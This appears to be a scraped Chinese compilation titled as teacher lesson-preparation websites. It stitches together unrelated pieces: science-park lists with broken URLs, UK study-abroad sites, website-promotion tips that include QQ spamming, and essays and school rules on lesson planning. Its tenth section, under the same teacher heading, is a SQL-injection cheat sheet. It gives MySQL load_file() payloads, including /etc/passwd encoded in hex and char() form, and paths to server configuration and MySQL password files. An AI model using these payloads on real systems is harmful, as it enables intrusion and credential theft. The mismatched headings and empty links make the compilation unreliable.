教师备课常用网站

教师备课常用网站（共10篇）

1.教师备课常用网站 篇一

常用网站整理

国家级 一类/常用

中国科学院http:///kjt/4/tindex.shtmlhttp:///

山东省科学技术厅http:/// 青岛市科学技术局http:/// 深圳市科学技术局http:/// 浙江省科学技术厅http:/// 福建省科学技术厅http:///

地方级科技园区

□中关村科技园区□武汉东湖新技术开发区□南京高新技术产业开发区□沈阳高新技术产业开发区□天津新技术产业园区□西安高新技术产业开发区□成都高新技术产业开发区□威海火炬高技术产业开发区□中山火炬高技术产业开发区□长春高新技术产业开发区□哈尔滨高新技术产业开发区□长沙高新技术产业开发区□福州科技园区□广州高新技术产业开发区□合肥高新技术产业开发区□重庆高新技术产业开发区□杭州高新技术产业开发区□桂林高新技术产业开发区□郑州高新技术产业开发区□兰州高新技术产业开发区□石家庄高新技术产业开发区□济南高新技术产业开发区□上海张江高新技术产业开发区□大连高新技术产业园区□深圳高新技术产业园区□厦门火炬高技术产业开发区□海口高新技术产业开发区□苏州高新技术产业开发区□无锡高新技术产业开发区□常州高新技术产业开发区□佛山高新技术产业开发区□惠州仲恺高新技术产业开发区□珠海高新技术产业开发区□青岛高新技术产业开发区□潍坊高新技术产业开发区□淄博高新技术产业开发区□昆明高新技术产业开发区□贵阳高新技术产业开发区□南昌高新技术产业开发区□太原高新技术产业开发区□南宁高新技术产业开发区□乌鲁木齐高新技术产业开发区□包头稀土高新技术产业开发区□襄樊高新技术产业开发区□株州高新技术产业开发区□洛阳高新技术产业开发区□大庆高新技术产业开发区□宝鸡高新技术产业开发区□吉林高新技术产业开发区□绵阳高新技术产业开发区□保定高新技术产业开发区□鞍山高新技术产业开发区□杨凌农业高新技术产业示范区□宁波高新 技术产业开发区

地方级创业中心

西安高新技术创业服务中心 □哈尔滨高新技术创业服务中心 □长春科技创业服务中心 □武汉东湖新技术创业服务中心 □天津市科技创业服务中心 □重庆高技术创业服务中心 □成都高新技术创业服务中心 □上海张江高新技术创业服务中心 □南京科技创业服务中心 □合肥高新技术产业开发区创业服务中心 □南昌高新开发区创业服务中心 □北京高技术创业服务中心 □济南高新技术创业服务中心 □洛阳高技术创业服务中心 □贵阳高新技术创业服务中心 □昆明高新技术创业服务中心 □大庆高新技术创业服务中心 □保定高新技术创业服务中心 □苏州高新技术创业服务中心 □威海高技术创业服务中心 □大连市高新技术创业服务中心 □吉林高新技术创业服务中心 □江苏省高新技术创业服务中心 □沈阳高新技术创业服务中心 □绵阳高新技术产业开发区创业服务中心 □广州市高新技术创业服务中心 □丰台园区科技创业服务中心 □成都高新区技术创新服务中心 □石家庄高新技术创业服务中心 □沈阳高科技创业中心 □宝鸡国家高技术创业服务中心 □上海市科技创业中心 □常州市科技创业服务中心 □北京望京科技园创业服务中心 □天津新技术产业园区国际创业中心 □扬州高新技术创业服务中心 □包头国家科技创业服务中心 □无锡高新技术创业服务中心 □郑州高新技术产业开发区创业服务中心 □南宁新技术创业者中心 □襄樊高新技术创业服务中心 □泰安高新技术创业服务中心 □芜湖高新技术创业服务中心 □柳州高新技术创业服务中心 □桂林科技创业服务中心 □兰州高新技术产业开发区创业服务中心 □厦门高新技术创业中心 □烟台高新技术创业服务中心 □湘潭高新技术创业服务中心 □重庆高新区创新服务中心 □深圳市科技创业服务中心 □清华创业园 □武汉市洪山高新技术创业服务中心 □威海火炬高技术产业开发区高新技术创业服务中心 □苏州工业园科技企业孵化器 □宁夏高新技术创业服务中心 □天津泰达国际创业中心 □杭州高新技术产业开发区科技创业服务中心 □安阳高新技术创业服务中心 □杨凌农业高新技术产业示范区创业服务中心 □漯河高新技术创业服务中心 □唐山高新技术创业中心 □宁波市科技创业中心 □湖北黄石磁湖科技创业服务中心 □中关村国际孵化器 □鞍山高新技术创业服务中心 □淄博高新技术创业中心 □株洲高新区创业服务中心 □江苏昆山留学人员创业园 □中关村科技园区海淀创业服务中心 □上海杨浦高新技术创业服务中心 □济宁高新区创业中心

地方级软件基地 东大软件园 大连软件园 西部软件园 长沙软件园 北京软件产业基地 上海软件园 南京软件园 长春软件园 厦门软件园 天津华苑软件园 湖北软件产业基地 杭州高新软件园 江西金庐软件园 西安软件园 青岛软件园 无锡软件园 常州软件园 吉林软件园 河北省软件产业基地（石家庄）合肥软件园 云南软件园 兰州软件园 苏州软件园

地方级海外科技园

□□□□

技创业园□中俄友谊科技园□中奥科技园

2.英国留学生常用网站 篇二

英国留学生常用网站大全申请英国留学的同学一定会需要用到一些网站，备考、申请、签证，甚至是生活都需要通过网络来了解。因此，在英国留学生活的同学一定要知道一些英国网站。下面天道留学编辑整理了一些关于英国留学需要用到的网站，希望可以帮助到大家。

外语考试：

雅思考试报名的官方网站：

申请英国签证，可在签证申请中心进行进一步查询。英国签证中心设在北京，武汉、沈阳、济南、重庆、成都、上海、杭州、南京、广州、深圳、福州。

英国内政部：http:///

留学生需要抵达英国之后，尽快在这个网站上注册自己的信息。在毕业时，按照要求邮寄毕业证书和成绩单。大使馆教育处的工作人员将会审核后，邮寄留学人员归国证明。凭借此证明，可以回国办理学历认证。

全英学联：http://cssauk.org.uk/

全英中国学生学者联谊会，英文全称Chinese Students and Scholars Association UK，简称全英学联(英文简称CSSA UK)，在中华人民共和国驻英国大使馆教育处指导下，是中华人民共和国在英学生学者的全国性群众组织，也是目前英国最大的华人社团之一。欧美同学会：http:///

天道教育

欧美同学会•中国留学人员联谊会是由中国留学海外各国归国同学自愿组成的群众团体。下设留美、苏、英、德奥、法、意、加、瑞士、东欧、北欧、拉美、日本、澳新、朝韩、东南亚及南亚17个分会;28家团体会员单位及近百个校友会。1913年成立的欧美同学会，在2013年恰逢其成立100周年。

英国文化协会/英国大使馆文化教育处：

英国文化协会是英国提供教育机会与促进文化交流的国际机构。它在世界超过100个国家开展工作，积极促进思想碰撞与知识交流，构建英国与各国人民的相互融合及信任。英国文化协会于1943年在中国建立了第一个办公室，在中国大陆现共有4个办公室。在北京，英国文化协会作为英国大使馆文化教育处开展工作。

留英校友会：

留英校友会是英国文化协会旗下网站，向留英校友提供最新校友活动信息、。最新招聘信息、。职业发展规划建议以及留英校友创业及工作经验分享及交流。

英国教育： Education

UK是英国文化协会旗下网站，为未来的中国留学生介绍英国教育、大学、课程、生活等方面的最新信息。

奖学金：

3.网站建设常用词汇-英文（推荐） 篇三

双语网站建设常用的词语和短语的翻译

英文English

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4.教师备课常用网站 篇四

今天小编跟大家分享下如何在网站中添加在线客服的几种常见方法。

一、通过织梦后台添加在线客服插件 上传已下载好的客服插件：

客服插件模块已成功安装：

添加在线客服：

设置相关客服信息：

效果图：

二、通过QQ推广添加 设置推广样式：

获取代码并添加代码：

最终效果图：

三、通过百度商桥添加

添加站点：

设置样式：

获取代码并添加代码：

最终效果图：

5.站长们最常用的5种网站推广方式 篇五

1.论坛：这是大部分站长推广的方法，发一些与自己网站内容相关的帖到各大论坛，以及抢到热帖的"沙发"和板凳，还有就是签名等.有个站长得意地告诉我，他每个新站建成，首要的事就是找到论坛网址大全，一天内注册50个以上的论坛，因为现在很多论坛都设了新用户发帖时间，等到最后的论坛注册成功，前面注册的论坛也就可以发帖了，但他说一般开始不发帖，就是抢沙发。原因就是怕被封ID，他有很多决窍，我会再以后针对论坛推广的部分进行讲解。

2.百度帖吧：现在很多站长都会用到这种方法，一个新站出来，马上就会想到去百度帖吧拉人.很多站长总结出自己的经验，有的站长一天内能从帖吧带来惊人的流量.什么"此内容回复可见"、"会变的图片“等等，这都是他们惯用的招数，却屡试不爽。

3、友情链接：站与站之间的互助，这是早期互联网比较有利宣传方法之一，因为那时人们还不认识搜索引擎，大部分网民上网冲浪，都是一个站点到另一个站，对网站间的推广起到很大作用，

那时候的站长们非常热衷于在那88*31的方框里，展现出更多的创意。虽然时代不同了，但这种方法仍然是较有效，且长期稳定的推广方法之一。

4.QQ推广：通常利于这种方法推广的站长，都是用一些软件发布大量垃圾信息给好友，也可以不是好友。可能很多站长认为，这种方法过时了。但我从一些站长那里得知，这种方法仍然有效，因为现在的互联网太多的新网民和初级网民了.但本人并不提倡这种方法。

6.教师备课常用网站 篇六

新一轮基础教育课程改革正在逐步推进，对学校和广大教师来讲，最重要、最关键的是要加快教学创新，改革课程实施方式，提高课程实施水平。实行新课程后教师怎样教？学生怎样学？核心的问题就归结到如何备课上。

长期以来，“认真备课”是教学“五认真”中首要的工作，但在实际操作过程中，可以看得到的只有教案，领导检查的也只是教案。因此，我们不难发现这些现象：完全照搬教参、教案资料，教师成了教案的“抄写员”；上课之后备课，备课变成“补”课；有的为求教案精美，每个字都工工整整、一丝不苟，但教案与课堂教学完全脱离„„教案的书写不是为了上课，而是为了上级的检查，而领导的教案检查也不是为了教学服务，而是为了管理服务。从新课改所倡导的“促进教师发展”的理念，我们提出了“用一生的时间去备课”的观点，认为备课的目的只有一个，就是为了上好课；备课只是一个过程、一种手段，写教案也仅仅只是备课的过程之一，我们应该改变备课策略，让备课成为教师激活情感、凸显个性、展示自我、提升自我的舞台，让备课伴随每个教师的成长。

一，转观念，让备课在“三变”中显成效。

1、变备写教案为设计教学。

课程标准要求的备课形式是教学设计，我们写教案的备课形式也要转变为教学设计的备写。教学设计就是在备课中要明确教学目标、设计好教学流程以及做好教学反思。

教师备课首先要备教学目标，制定教学目标必须依据课程标准规定的教学要求，体现知识与技能、过程与方法、情感态度与价值观三方面的功能。在制定教学目标时必须依据学生认知基础，关注学生生活经验，促使学生认知、能 力、情感全面发展和谐发展。

为了实现既定的教学目标，在备课时要根据教学的实际内容和班级学生实际情况设计教学程序。一般说来，包括这么几个方面：创设情境激发兴趣、自主探究培养能力、巧设练习拓展延伸。课前，教师要设计好教学过程；课中，必须让学生自主合作、亲历探究，过程的设计应该彻底改变僵化的、单一的结构形式，以便尽情地张扬教学个性。

教学反思也是备课的重要环节，是教师专业发展和自我成长的核心因素。教学反思分为教学前、教学中和教学后三个阶段：“教前反思”促教学成为自觉的实践行为，“教中反思”促教学高质高效的进行，“课后反思”促教师及时地回忆教学过程，总结得失，并善于把教学经验理论化。

2、变重教案为重课堂实践。

检查教师备课笔记是学校必不可少的教学工作之一，我们认为在做好备课笔记的常规检查时更应把大量精力用在听课上，注重看课堂教学实践，在教师中提倡三课，即：公开课，示范课和推门课，通过听课、看课，检查备课的实效性。看课时重点关注：课堂教学氛围是否和谐民主、课堂教学环节是否及时调整、学生学习方式是否有所改变、练习设计是否分层递进等。这样可以从听课中可以看出教师备课怎样，看出备课的实效性如何，还可以看出教师的教学机智怎样。

3、变重评价为重成果交流。

为了给新教案的实施创设宽松的氛围，提供强有力的支撑，学校对教师备课的评价必须改进和完善。做到两个“转向”和四个“有无”，两个“转向”是指：评价重心由追求形式美转向注重实效性，由单纯的量化评判转向多元的对话共建；四个“有无”是指：有无对预设教案进行增删调补、有无对相关教学资源的链接、有无个性化的活动设计、练习设计和板书设计，以及有无高质 量的教学札记或反思，并且强调教师对自己教学行为的分析与反思，建立以教师自评为主，学校、同组教师、学生共同参与的评价制度。并在一定时候，学校隆重地举办一些备课创新成果展览、交流活动，这样就能“百花齐放”，各取所需，真正使全体教师受益。

二，创空间，让备课在“三化”中掘潜能。

1、教案的多元化：只要能促进教师的自主发展，挖掘教师的教学潜能，任何能展现教师教学智慧的备课形式都可以，教案可以形式不同、侧重点不同，展现形式不同，允许教师用卡片、下载资料、电子教案、在书本上旁注等多种形式来进行备课。这样的要求，可充分发挥各位教师的长处及资源优势，促使教师通过自己喜欢的途径或方法来备课，从而使教师从一些繁复、单调的劳动中解放出来，从单纯的应付备课检查的桎梏中解放出来。在各种不同形式的备课中，将会大大扩展教师视角，使教师走向开放的世界，从而进一步提高自身的育人素质。

2、教案的信息化：随着学校硬件设备的不断完善，可以利用学校配备的微机，建立备课资源包，资源包里有我们教师自己的备课内容，也可是从网络下载的各种资源，这些资源可以是文字，也可以图形、动画、影像等。每位教师都能快捷地从中收集与自己学科相关、符合自己教学需要的各种备课资料，共享备课资源，各取所需，为我所用。

3、教案的个性化：传统教学的教案书写规范要求严格，形式要求统一，内容要 求详尽，而在基于新课程标准教学理念的备课中，我们感到要打破传统备课的常规，提倡教案的个性化。其外在表现教案的书写可以是框架式的，可以是模块式的，可以是教材内容的图解，也可以是教学思路的线索笔记；其内在的含义是鼓励教师在备课时要注意张扬教师自己的个性特点，促进学生的个性发展。（1）留有余地，分段负责定蓝本。我们在备课时采用个人分段负责制，是指在一个学期开学时，教师可以根据教材内容及自己的强项，上报自己主备的单元或章节，这一部分的教案由这位教师先写出自己的教学设计，并在组内先说课，分析自己的备课思路，讲明自己的教学设计意图，再由全组共同探讨，使教案渐趋完善。然后，在统一基本思路的情况下，全组教师均以此教案为蓝本，进行教学活动，并及时进行教学后的反馈交流，对此教案进行进一步的完善。这样教师在蓝本教案的“自留地”里，结合班情、学情进行个性化改进，从而就为教师实施个性化教学、学生实现个性化学习，留下了余地。（2）动态生成，日积月累集精品。

备课是一个过程，它需要教师不断思考，不断收集资料，不断积累创新。课堂教学是一个动态生成的过程，教师要有自己的知识储备，要有自己的教学机智，要有自己的创新意识和能力。与以往教学前一气呵成的教案不同，动态生存的教案不再是课前一锤定音，它的形成需要：教学前不断推敲、教学时不断更新、教学后日臻完善的动态生成的过程。对于每一位教师而言，则是一个真实的“设计——实践——反思——完善”的专业化成长的过程。

在个人分段负责，全组共同探讨，并且在实践过程中出现的典型课例，可以对其进行深入地挖掘和探讨，形成精品课，一个学期一个备课组形成一组精品课，几年积累下来就是一笔不可多得的财富。（3）资源链接，互动合作显个性。

新课程下的课堂教学要从单一性向综合性发展，注重资源的开发和利用，要使课外服务于课内，课外是对课内的补充和延伸。而且现代的课堂教学最大特点是在思维的角度、情感态度、内容的选择、学习的方式等日趋走向开放，因此，教师在备课时一定要思考课内与课外的联系，本学科与其他学科的联系。就一篇课文来讲，理解的角度不同，需要的资源也不同，教师备课时就需凭自 己的教学经验和对学生的了解，有针对性的选择、准备相关资料。教师是资源，学生也是资源，资源的开发是师生互动合作的过程，所以我们强调应尊重学生的需要，鼓励学生自我开发，引导他们广泛的搜集和查阅有关资料。这样就给教师提出了更高的要求，必须有渊博的知识和灵活的资源链接能力，合理利用师生拥有的资源，更好地服务教学、服务课堂、服务学生，在互动合作、综合生存中充分体现课堂教学的魅力与个性。（4）综合运用，成果展示促发展。

国家新课程改革的核心就是以学生的发展为本，培养学生的实践能力和创新能力，就给我们的备课提出了新的要求，要十分注重具有个性特征的练习设计，可以设计识文认字、名句欣赏、世界旅游、动物天地等专栏，把学生带到了一个不断实践、不断体验和不断成功的实践展示平台。也可以设计一些综合性练习，如以“数学”为主线，让语文、自然等与数学融为一体，语文课中“写”数学，自然课中“做”数学、美术课中“画”数学、体育课中“量”数学等。这些练习形式上力求活泼新颖，内容上力求个性化、自主化和快乐化。个性化练习设计，不仅提高了小学生的学习兴趣和实践能力，而且改变了老师传统的教学方式和学生的学习方法，促进了教与学两方面的变化。

三、拓渠道，让备课在“三问”中展新姿。

1、问自我。教师针对自己的课堂教学要坚持“课前问”，就是教师在备课过程中要多向自己发问，例如，“学习目标是什么？”、“关于本课课程标准有什么要求”、“学生在学习中会产生哪些问题？该怎么解决这些问题？”、“可以怎样设计教学环节”、“为什么这样设计？”、“还可以怎样上这堂课？”等等。如今教师的观念解放了，课堂开放了，教学中随时可能出现创新的火花，动态生存一些鲜活的资源，往往使教师措手不及，现在教师感到最难的是备学生在课堂中会产生什么问题，这些问题的产生存在着不确定性。因此，教师要 常问自己：学习时学生会有哪些问题？该怎么解决？凭自己对教材的理解、凭自己的教学经验、凭自己对学生的了解作出预测，有了积累才能沉着应对，三思而行，深入思考。课后教师要及时反省，着重问自己课堂中有哪些出乎意料的创造性收获和需要改进的地方等两方面的问题，便于今后教学扬长避短，让课堂教学随时产生智慧的火花，充满生机与活力。

2、问学生。教师要善于倾听意见，经常询问学生对自己课堂教学的意见，这样做可以兼顾个体，注重教学的多样化，尽量发挥学生的个性特长。并及时了解学生的现有学习水平、听课的情绪、学习的兴趣、学习的困惑、需要的帮助等，使课堂教学充分体现“一切为了学生、为了一切学生、为了学生的一切”的教学理念，充分发挥学生的主体作用。

3、问同行。俗话说：三人行，必有我师。教师要在平时点点滴滴的交流中和在每周一次的集体备课活动中，善于主动询问同行关于课堂教学的看法和意见，听同行和领导对自己课堂教学情况的意见，善于与同行一起解读课标，一起学习新课程理论，一起分析教材，一起设计教学方案，甚至于为了一个问题不同的见解而争得面红耳赤，也常为因困扰许久的问题迎刃而解而欢呼雀跃，或为一个教学环节找到最佳的设计方案而会心一笑。在同伴互助式的对话中进行智慧的碰撞、博采众长、去粗取精、为我所用。在深入细致的探讨中，在真诚无私的互助中，一步步地走向自主发展。

7.教师集体备课制度 篇七

备好课是上好课的先决条件，备课质量的好坏，直接影响教学效果。同时，在新课改形式下，集体备课是教师快速适应新教材，掌握教学规律，积累教学经验，提高业务水平和授课艺术的重要环节。因此，在个人分工备课的基础上，必须强化集体备课，强化校本教研，发挥集体智慧。

一、组织形式

以备课组为单位，由备课组长主持进行，学校进行检查督促。

二、集体备课原则

坚持“四定”、“五备”、“四统一”。即：定时间、定地点、定内容、定中心发言人；备教材、备大纲、备教法、备学法、备教学手段；统一教学目标要求、统一教学重点、统一双基训练、统一教学进度。

三、集体备课活动要求

1.每学期开课前，备课组要制定出切实可行的集体备课计划，一式二份，一份备课组留存，一份交学校教导处。

2.要求每节内容都要集体备课，各章节的研讨都要确定主备人，主备人要在备课组长的指导下按集体备课计划安排的课题写出教案。3.各备课组在每单元或每章（每课）授课前，要组织本备课组教师认真学习大纲，研究教材，确定重点、难点，分析学情，探讨教法。4.重点、难点课题要建立说课制度，说课要落实到人。5.各备课组要实行周前备课，探讨教学中遇到的疑难问题。6.课后同备课组教师要及时交流教学心得，及时写出教学反思。7.备课组长要要对各教师集体备课情况进行考评。

8.各备课组每次集体备课都要认真填写集体备课记录，活动后学校教导处存档。横道中学教师集体备课考评细则

1．认真学习新课程标准，钻研教材，认真备课。（5分）（不备课扣5分，备课不认真扣1—3分）

2．在做好个人备课的基础上，积极按时参加集体备课，在集体备课中发挥积极作用。（5分）（缺席一次扣5分，迟到早退各扣1分。）

3．教案书写工整，目的明确，重点、难点处理得当。（3分）（书写不工整、重点、难点处理不得当各扣1分。）

4．教学流程设计合理。（2分）（不合理扣1分。）5．

5．要体现出分层教学的思想，尤其是要体现出对差生的照顾。（3分）（没体现分层教学扣1分，不照顾差生扣1分）

6．每节课后要有课后记，其中，期末要有教学反思。（5分）（缺一次扣2分，反思不认真一次扣1分）

7．板书设计（2分）

8.教师备课检查小结 篇八

教导处2011年10月17日

有效的备课是提高课堂教学质量的关键，同时也是提升教师专业素质、促进教师专业成长的重要途径。10月17日，我校教导处组织各学科教研组长进行了每月教师备课的例行检查。从规范的备课格式看出了老师们认真的备课态度；从准确的教材分析、新颖的教学设计看到了老师们的专业水平在不断提高，从有效的个性化复备及深刻、理性的教学反思看到了老师们的教学智慧。通过本月的例行检查，我们欣喜地看到老师们能从备课做起，扎扎实实地开展教学工作。尤其是年轻教师的成长，更加快了我校教师队伍的不断成熟。

一、优秀之处

1、老师们备课态度认真，工作扎实。能在教案中圈圈点点，并且对现成的内容进行了针对性地增、删、改、批，能把自己的教学理念融入教学设计之中，注重学生学习兴趣的培养和学习能力的提高。如陈翠霞老师能根据学情进行二次备课的再调整，再充实，只有课前精心的预设，课堂才会有效的生成。如刘静、冀慎玲老师的品德与生活备课上他们都能认真对待，很好地完成备课任务，体现了对备课工作的重视。

2、教案结构的完整，可操作性也得到了较好地体现，教法、学法指导及学情研究渗透教案。尤其是品生、品社学科体现了生活化的特点，一年级的备课有时效性。

3、老师们的教学后记真实地记录教学点滴，写得很实在，但的的确确在反思自己的教学过程和行为，起到了有效促进教学能力的提高。如孙霞、郑志峰、吴雯老师能从教学目标和重点入手谈自己的教学体会；杨秀荣老师从教学流程与想法入手进行课堂教学的简要描述，在进行自己的教学思考，有想法有针对性；张英华书记和周慧校长记录自己教学中的片段并对其进行反思，语言干练。

4、教师们重视作业设计和板书设计，使板书真正达到提纲挈领的作用。如冀慎玲、师能贴合二年级学生的特点，设计相应的口头作业，符合五严的要求；郑志峰老师的作业设计让学生有选择的空间；孙霞老师注重了实践性作业，如在家和万事兴送给家长的礼物的作业设计中让学生搜集发明家的故事，开展小型的故事会；吴雯的作业设计新颖，如在《普罗米修斯盗火》作业设计中让学生写一封信去打动宙斯，让他放了普罗米修斯；李胜利主任的板书设计紧扣文本，突出主线，层次分明。

5、大部分教师的教案设计教学环节重点突出，二次备课思考深入，符合学情。老师们的初备非常认真，二备、反思写得也很认真；孙霞老师能结合自己的

教学实际联系组内研讨课的课例综合分析，寻求更好地教学策略，针对性强，反思深刻。

二、不足之处

1、部分教师的教案不能做到一贯的认真组织、设计，个别课时设计的不理想，还有少数教师备课缺少课时计划、作业设计、板书设计等环节。

2、设计教学过程简单化，设计的教案大部分是直线型的，一问一答式的，学生自主学习的空间不大。

3、教学反思力度不够，思想也不够深刻，不能更好地反思问题的解决方法和指导思想。教学后记要认真思考后再总结，既要指出本课的成功与不足，又要分析并力求找到解决问题的方法或打算。

4、部分课教学目标的确立还缺少与学生实际的结合，针对性不强，德育渗透比较生硬。教学过程中重点如何突出，难点怎样突破没有体现，个别教师可能在备课时就没去考虑哪些是重点部分以及应要花的工夫等这些问题。

5、部分学科的备课不及时,有些备课缺少2次备课和教学反思。

三、建议

1、备课的老师课时要超前，必须有一周的提前量，复备应有针对性，课后能及时记录课堂教学的得与失，这样有利用服务、改进教学。

2、电子备课的老师二次修改应及时，并针对学生及上课后的反思去修改，建议修改要有一定的幅度。

9.教师如何有效备课 篇九

备课是教师工作的重要内容，有效的备课是避免无效学习的前提。但今日之备课已被彻底异化、变态化、虚假化、无效化。有歌为证，歌名《心太软》——“夜深了你还不想睡，你还在抄教案吗？你这样辛苦到底累不累？还是纯属自我安慰？”

备课就是抄教案，异化一也。

抓备课就是查教案，异化二也。

不祛除异化，回归本义，求真求实，而谈有效备课，无异乎缘木求鱼。

如何做到有效备课？

一曰废除所谓写教案。

写教案不等同于备课，抄教案更是伪备课。误人误己，遗毒无穷。

惟有取消查教案，教师不必违心地把宝贵时间耗费在全无意义的抄教案上，才能谈得上备课不备课，有效没有效。

所“写”教案如何，一丝一毫也不能反映备课情况。或者可以说，教案越“好”，备得越差，教学越是无效。在任务重压力大的情况下，如此有限的、宝贵的时间，用来抄教案，那哪来时间备课？遑论有效？

而真正意义上的、扎实有效的备课，不一定是以教案来体现。可以是零星的笔记，可以是杂乱的摘抄；可以是资料的拼贴；可以是符号、圈点、勾画；也可以是个中三味，烂熟于腹，运用之妙，存乎一心，了无痕迹，方为“不射之射”，几于备课之最高境界。真正踏踏实实备了课的教师，是不可能有一本很好看的教案的。

须知真正有效的教学，必然基于真正有效的备课，也必然不依靠教案。正如一味按剧本表演的演员是三流演员一样，一味按教案上课的教师必然是蹩脚教师。

写教案于教学之无用，于备课之破坏，可知矣。

写教案，查教案，可以休矣。

二曰功夫在诗外。

备好课的基础是什么？不是参考书、现成教案、这个那个技术、此项彼项工具，而是教师自身综合素养。

读书、学习，是提高自身素养的不二法门。教师要做终身学习的典范，不可固步自封，自我满足，放松学习，那样是连本职工作也做不好的。

仅仅看本学科的书、教学的书也是不够的，须知学科整合、综合学习是大势所趋，不容回避。文科教师也可以看一点理科书，理科教师也可以看一点文科书，看不了太深的，可以看一些基础的，普及性质的。知识面广一点，对备课，对教学，是大有裨益的。

教学书可以看得多一点，教案可以看得多一点，但要养成习惯，坚持长期看，汲取营养，为我所用；而不是临时抱佛脚，教哪课看哪课，照猫画虎，生搬硬套，不求真实效果，只图敷衍任务。要多看真实的教学实录，那些花里胡哨作秀的所谓优质教案，是用来哄鬼的，不是用来教学生的，可以少看点。话再说回去，有抄一篇教案的时间，可以看五六篇教案，抄一篇毫无收益，而看上五六篇必有启发。是抄个漂亮教案来换取教案检查的好评价呢，还是对工作负责，对学生尽责，扎扎实实多看几篇教案呢？为人师表者不可不深思而慎取。

三曰透彻理解备课的本义。

备课所备者何？

是“备学习”，而不是“备上课”。是为学生学习而准备，而不是为自己好教而备。出发点不正确，往往南辕北辙。

不能仅仅考虑自己教得方便，教得“精彩”，教得舒畅，而是应把学习和学习者作为焦点，以教导学，以教促学。不要学某些作秀性质的，要从学生学习的角度来分析是否真正有所得。

要把自己当学生来想想：如果我是学生来学习，我会遇到什么问题？我怎样才能较快地掌握？……以学生的眼界去设计教学思路,预测学生可能的思维活动并设计相应对策。

以语文教学而言，不要被教参上的东西奴役，而要从学习者的角度出发，以开放的心态，认真体会阅读与写作的真实感知、路径、问题。这样才能有效组织学习，使讨论成为真讨论，思考成为真思考，感悟成为真感悟，而不是走向预设答案的装摸做样的走过场。那样的走过场，我称之为伪教学、伪学习。

要备得细，但万万不可讲得细。“讲课”是一个可恶的词，“讲深讲透”是一个害人的想法，当然，仅仅针对语文教学而言。

以细致的结论取代细致的学习，以喋喋不休的灌输取代过程的引导、思路的启发、方法的点拨，使埋头记笔记替代了探索、讨论、相互激发，使学生开不了口，动不了手，转不起脑筋，这样的教学，我称之为强暴式教学。

10.教师备课常用网站 篇十

1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件

5、c:Program FilesApache GroupApacheconf httpd.conf 或C:apacheconf httpd.conf查看WINDOWS系统apache文件

6、c:/Resin-3.0.14/conf/resin.conf查看jsp开发的网站 resin文件配置信息.

7、c:/Resin/conf/resin.conf/usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

8、d:APACHEApache2confhttpd.conf

9、C:Program Filesmysqlmy.ini

10、../themes/darkblue_orange/layout.inc.phpphpmyadmin 爆路径

11、 c:windowssystem32inetsrvMetaBase.xml 查看IIS的虚拟主机配置文件

12、 /usr/local/resin-3.0.22/conf/resin.conf针对3.0.22的RESIN配置文件查看

13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上

14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看

15、 /etc/sysconfig/iptables 本看防火墙策略

16 、 usr/local/app/php5 b/php.iniPHP 的相当设置

17 、/etc/my.cnfMYSQL的配置文件

18、 /etc/redhat-release红帽子的系统版本

19 、C:mysqldatamysqluser.MYD 存在MYSQL系统中的用户密码

20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.

21、/usr/local/app/php5 b/php.ini //PHP相关设置

22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置

23、c:Program FilesRhinoSoft.comServ-UServUDaemon.ini